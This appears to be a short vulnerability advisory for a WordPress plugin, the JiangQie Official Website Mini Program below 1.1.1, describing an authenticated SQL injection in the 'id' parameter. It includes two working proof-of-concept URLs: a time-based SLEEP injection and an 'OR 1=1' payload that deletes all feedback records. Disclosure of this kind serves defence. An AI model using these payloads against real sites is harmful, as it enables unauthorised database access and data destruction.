JiangQie Official Website Mini Program < 1.1.1 - Authenticated SQL Injection

2021-07-3000:00:00

[email protected] inc

360

0.001 Low

EPSS

Percentile

50.2%

JSON

The plugin does not escape or validate the id GET parameter before using it in SQL statements, leading to SQL injection issues

https://example.com/wp-admin/admin.php?page=jiangqie_ow_free_feedback&action=detail&id=1+AND+%28SELECT+%2A+FROM+%28SELECT%28SLEEP%285%29%29%29a%29

Could also make a logged in admin delete all the records: https://example.com/wp-admin/admin.php?page=jiangqie_ow_free_feedback&action=delete&id=1+OR+1%3D1